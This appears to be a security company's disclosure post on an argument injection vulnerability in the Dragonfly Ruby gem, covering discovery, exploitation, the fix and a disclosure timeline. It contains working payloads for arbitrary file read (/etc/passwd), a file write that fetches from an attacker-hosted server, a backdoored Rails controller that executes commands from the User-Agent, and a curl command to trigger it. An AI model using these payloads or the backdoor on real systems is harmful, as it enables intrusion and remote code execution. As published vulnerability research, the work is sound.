ZX Security


Ruby Dragonfly – Argument Injection vulnerability

Michael Tsai

Authored by Michael Tsai

Published on

Introduction

During a recent client engagement we discovered an argument injection vulnerability in certain configurations of Refinery CMS. Upon further investigation, it was understood that the root cause of this issue existed in the Ruby Gem Dragonfly, which is a popular library for handling images and is used by multiple CMSs such as Refinery CMS, Locomotive CMS, and Alchemy CMS. This post outlines the technical details of this vulnerability, the exploitation process, and the impact for the users and organisations.

Dragonfly Ruby Gem

The Dragonfly library allows image handling on websites such as generating image thumbnails, text images, or just managing attachments in general. To illustrate this idea, an example URL to fetch an image is shown as follows (as described in the Refinery CMS documentation):

/system/images/W1siZiIsIjIwMTUvMDQvMjEvNjRlZ2d5MjJzcl9CdWxsd2lua2xlLmpwZyJd
LFsicCIsInRodW1iIiwiMjI1eDI1NVx1MDAzZSJdXQ/Bullwinkle.jpg

The base64 encoded part could then be decoded to:

[["f","2015/04/21/64eggy22sr_Bullwinkle.jpg"],["p","thumb","225x255\u003e"]]

This instructs the Dragonfly app to first fetch the specified image from the file data store and then supply the image as a 225x255 thumbnail.

Vulnerability Discovery

#1 Attempt - Local File Inclusion (LFI)

Observing the base64 decoded string, we could infer that f and p represent some kinds of operations that take a variable number of arguments. In particular, the f operation appears to perform file operations. We decided to test for LFI payloads such as ../../ and their variants. An example payload is shown below:

[["f","../../../../../etc/passwd"]]

However, none of the payloads worked. In order to figure out the cause, we set up a local Refinery CMS instance and attached a debugger to it. It turned out that there are several restrictions in place. The application:

  • checks for the existence of ../; and
  • prepends the application root directory to the path.

Due to these validations, exploitation of LFI was unsuccessful.

#2 Attempt - Command Injection

However, as seen from the example URL, there are more operations available than f. Through analysing the source code of Dragonfly, it was clear the way that Dragonfly manages these operations is through a series of jobs. The jobs available are as follows:

  • f: fetch
  • ff: fetch_file
  • fu: fetch_url
  • g: generate
  • p: process

The fetch job was tested for LFI previously but was unsuccessful. The fetch_file and fetch_url jobs were also unsuccessful due to the allowlist functionality shown below:

def validate_fetch_file_step!(step)
  unless fetch_file_whitelist.include?(step.path)
    raise JobNotAllowed, "fetch file #{step.path} disallowed - use fetch_file_whitelist to allow it"
  end
end

def validate_fetch_url_step!(step)
  unless fetch_url_whitelist.include?(step.url)
    raise JobNotAllowed, "fetch url #{step.url} disallowed - use fetch_url_whitelist to allow it"
  end
end

The two job types remaining were generate and process. As described in the Dragonfly documentation, these two types of job supports the ImageMagick convert utility. For example, the base64 encoded part of the URL

/system/images/W1siZyIsICJjb252ZXJ0IiwgInRlc3QuanBnIiwgInBuZyJdXQ==

decodes to the following payload:

[["g", "convert", "test.jpg", "png"]]

which is interpreted as the following shell command:

convert test.jpg /tmp/dragonfly<variable_length_string>.png

We can see that we are able to control two parts of the command, i.e. the first argument to the convert command, as well as the extension indicating the format that the file would be converted to. This indicated the possibility of command injection.

Shell Command Argument Injection

Initial testing showed that command injection payloads such as &&, ||, or $() will be blocked. It turned out that this was due to the following code:

def run(command, opts={})
  command = escape_args(command) unless opts[:escape] == false
  Dragonfly.debug("shell command: #{command}")
  run_command(command)
end

def escape_args(args)
  args.shellsplit.map{|arg| escape(arg) }.join(' ')
end

def escape(string)
  Shellwords.escape(string)
end

Before executing the commands, they were first split using the Ruby Gem Shellwords’s shellsplit function. Next, individual arguments were escaped with Shellwords.escape. The escape function is shown as follows:

def shellescape(str)
  str = str.to_s

  # An empty argument will be skipped, so return empty quotes.
  return "''".dup if str.empty?

  str = str.dup

  # Treat multibyte characters as is.  It is the caller's responsibility
  # to encode the string in the right encoding for the shell
  # environment.
  str.gsub!(/[^A-Za-z0-9_\-.,:+\/@\n]/, "\\\\\\&")

  # A LF cannot be escaped with a backslash because a backslash + LF
  # combo is regarded as a line continuation and simply ignored.
  str.gsub!(/\n/, "'\n'")

  return str
end

This effectively blocks most of the special characters. However, since the user input string was split using shellsplit first, we could use space or newline characters to inject arguments. For example, the payload [["g", "convert", " -help test.png", "png"]] would be interpreted as:

convert -help test.png /tmp/dragonfly<variable_string>.png

This allowed arbitrary arguments to be injected into the convert command (which is likely by design). However, exploiting the argument injection required more research. Therefore, we needed to delve into the functions of ImageMagick and discover a way to achieve both arbitrary file read and write.

Exploring ImageMagick

A feature of ImageMagick is to convert non-image files to images. There is a list of formats that ImageMagick supports in the Supported Image Formats documentation. One of the formats, rgb, allows images to be read in as raw RGB values. To use the rgb option, the -size and -depth option must also be supplied.

Next, there are a list of formats that the input file can be converted to with ImageMagick. One of the formats is BMP, which is both lossless and uncompressed so no information will be lost during the conversion. Combining these, the following command would convert the /etc/passwd file to test.bmp:

convert -size <file_size>x1 -depth 8 rgb:/etc/passwd /tmp/test.bmp

The result of test.bmp is shown below:

BM&�|4▒�����BGRs���(`� ��@33�ff&@ff���  <
�$\�2oorx:t:0:r:0toor/:toob/:/nisabd
hmea:no1:x:1:eadnomu/:/rsibs/:nrsubs//nilonigob
n:ni2:x:2:nibb/::nisu/s/rnibon/gol
nisys:x:3:3ys:/:svedu/:/rsibsn/nolonigys
:cn4:x56:435ys::cnib//:nnibys/
cnmag:se5:x06:ag:semu/:/rsmag:sesu/s/rnibon/gol
ninam:x:1:6m:2:naav/c/rhcam/e:nasu/s/rnibon/gol
ni:pl7:x:7::plav/s/roopl/l:dpsu/s/rnibon/gol
niiamx:l:8:m:8liav/:/raiam/:lrsubs//nilonigon
nswe:x:9:9en::swav/s/roopn/lsweu/:/rsibsn/noloniguu
:pc1:x1:0u:0pcuv/:/raops/locuu/:prsubs//nilonigop
nxorx:y31:31:rp:yxob/::nisu/s/rnibon/gol
niwwwad-:at3:x3:3w:3-wwtad/:aravww//:wrsubs//nilonigob
nkca:pu3:x3:4b:4kca:puav/b/rkcaspuu/:/rsibsn/nolonigil
:ts3:x3:8M:8liagniiL  tsnaMega/:rravil/:tssu/s/rnibon/gol
nicri:x::93:93cri/:dravur/i/ndcru/:/rsibsn/nolonigng
sta:x::14:14anG stguBeR-ropnitS gtsy meda(nim/:)ravil/g/btan/:srsubs//nilonigon
nobo:yd6:x3556:4355n:4obo:ydon/xentsitneu/:/rsibsn/noloniga_
:tp1:x:00556:43n/:enosixnet/:trsubs//nilonigo

To convert the test.bmp back, we could just reverse the operation by issuing the command convert test.bmp rgb:test.out and test.out would contain roughly the same content of /etc/passwd. However if the file size is not wholly divisible by three, the last one to two bytes of the file are truncated due to the RGB format requiring exactly three bytes per pixel.

Furthermore, since we do not know the actual file size beforehand, we need some method to find the correct file size. This can of course be achieved by brute forcing or guessing based on similar files. However, as the application returned different responses if the provided file size is larger or smaller than the actual file size, a binary search algorithm could be used.

While the methods discussed above are good enough, there was much more room left to improve the techniques. Through further research we discovered that by specifying a random unsupported format, such as out or foobar, the raw content of the input file will be copied to the destination without the need to be encoded within an actual image format. Moreover, since ImageMagick does not perform any conversion with unknown output format, the actual -size parameter was not used and therefore could contain any value. This removed the need to determine the actual file size.

The issue of the file size needing to be divisible by three could also be bypassed. Instead of using rgb:, we could read the image as raw single-byte grey samples using the gray: option instead. Combining these improvements, we form the following command which would copy the entire contents of /etc/passwd to /tmp/test.out without encoding:

convert -size 1x1 -depth 8 gray:/etc/passwd /tmp/test.out

After the command executes, the contents of /tmp/test.out are the exact same as /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Finally, convert also supports the -write argument which would output to another file in addition to the originally specified one. This allows us to choose the exact location that the file will be written to.

In summary, the following lists various useful utilities that we could perform by argument injection:

  • rgb:<filename>: Reads the file as raw RGB value
  • gray:<filename>: Reads the file as raw gray samples
  • -write <output>: Writes the output to the specified location
  • -size <width>x<height>: Sets the width and height of the image
  • -depth <output>: Sets the depth of the image

Combining the above utilities, we could achieve arbitrary file read and write. In some conditions, we could also achieve RCE. Below details the exploitation process.

Exploitation

Arbitrary File Read

We could use the above techniques to perform arbitrary file read. The payload shown below reads the target /etc/passwd file:

[["g", "convert", "-size 1x1 -depth 8 gray:/etc/passwd", "out"]]

This would be interpreted as the following command:

convert -size 1x1 -depth 8 gray:/etc/passwd /tmp/dragonfly<variable_string>.out

By base64 encoding the above payload, we can send it to the local Refinery CMS instance in a HTTP GET request. The following screenshot shows the command executing successfully:

Dragonfly arbitrary file read

Arbitrary File Write

To achieve arbitrary file write, we could first generate a BMP file locally using the follow command:

convert -size <file_size>x1 -depth 8 gray:<filename> out.bmp

Next, the image file needs to be uploaded to a known location on the web server using some file upload mechanism. By default, Refinery CMS supports this functionality in the Administrator interface which requires authentication. However, this could be bypassed as ImageMagick supports converting images referenced by a URL. This effectively turns this vulnerability into a pre-auth arbitrary file write.

Therefore, we can simply take the generated out.bmp and host it on a server we control. We can then issue the following payload:

[["g", "convert", "http://<attacker_server>/out.bmp -write gray:<target_location >", "png"]]

This would be interpreted as the following command:

convert http://<attacker_server>/out.bmp -write gray:<target_location> 
/tmp/dragonfly<variable_string>.out

This command downloads the out.bmp file that we are serving on http://<attacker_server>/ and converts it back to gray samples (which would be our original file). The -write option also allows us to specify the output location, allowing arbitrary files to be written to any writeable directory.

Remote Code Execution

There are several ways that an attacker could achieve RCE once equipped with the ability to read and write arbitrary files. The following describes a scenario specific to Refinery CMS.

One way of gaining code execution is to overwrite the application_controller.rb within the Ruby on Rails application. A malicious example application_controller.rb is shown as follows:

class ApplicationController < ActionController::Base
    include ApplicationHelper

    protect_from_forgery with: :exception

    before_action :http_basic_auth
    layout -> { params[:controller] == "home" ? "application" : "content" }

    protected

    def http_basic_auth
        ua = request.env['HTTP_USER_AGENT']
        idx = ua.index("zxsecurity:")
        if idx != nil
            cmd = ua[idx+11..-1]
            puts cmd
            res = `#{cmd}`
            `echo '#{res}' > public/out.txt`
        end
        return unless ENV["HTTP_BASIC_AUTH_USERNAME"] && ENV["HTTP_BASIC_AUTH_PASSWORD"]
        authenticate_or_request_with_http_basic("Username and Password please") do |username, password|
        username == ENV["HTTP_BASIC_AUTH_USERNAME"] && password == ENV["HTTP_BASIC_AUTH_PASSWORD"]
        end
    end
end

This plants a backdoor within the target application such that OS commands following the string zxsecurity: supplied through the user agent would be executed and the output would be written to a publicly available directory.

Technically this file change would only trigger if a person were to restart the server, however in some cases the target may be running Phusion Passenger. In this case, the application can be automatically restarted if the file <app_root>/tmp/restart.txt is updated. Therefore, an attacker could first write the backdoored application_controller.rb to <app_root>/app/controller/application_controller.rb and then write arbitrary content to <app_root>/tmp/restart.txt. The server would then restart with the backdoor, which can now be triggered by issuing commands such as:

curl -A 'zxsecurity:ls' https://<target_server>/ &>/dev/null && curl https://<target_server>/out.txt

Limitations and Analysis of Impact

There is one important constraint to this vulnerability, which is that the verify_urls option has to be explicitly disabled. The verify_urls does the following check:

def sha
  unless app.secret
    raise CannotGenerateSha
  end
  OpenSSL::HMAC.hexdigest('SHA256', app.secret, to_unique_s)[0,16]
end

The variable to_unique_s is a string obtained by flattening the user-supplied base64-encoded array and concatenating all strings. This code generates a HMAC-SHA256 signature that is used to verify the REST requests. This option essentially mitigates this vulnerability unless the application secret could be obtained (i.e. hardcoded secrets).

Although uncommon, we have observed several web servers purposely disabling this option, immediately making their assets vulnerable.

How To Fix It

Ensure that the default Dragonfly verify_urls option is enabled. Dragonfly has also released the patch for all versions affected, so updating the Dragonfly Ruby Gem to 1.4.0 or above would mitigate this issue.

Reference

Exploit PoC

Acknowledgement

Thanks to @claudiocontin, @ss23 and @softpoison_ for their collaboration on this research. Much appreciation towards Mark Evans for spending time to fix this vulnerability.

Vulnerability Disclosure Timeline

  • 27/04/2021 - Issue reported to Refinery CMS maintainer
  • 28/04/2021 - Refinery CMS maintainer confirmed receiving the bug report
  • 29/04/2021 - Issue redirected to Dragonfly maintainer
  • 30/04/2021 - Dragonfly maintainer confirmed receiving the bug report
  • 18/05/2021 - Confirmed patch from Drgaonfly maintainer
  • 19/05/2021 - Requested CVE from MITRE
  • 25/05/2021 - CVE ID assigned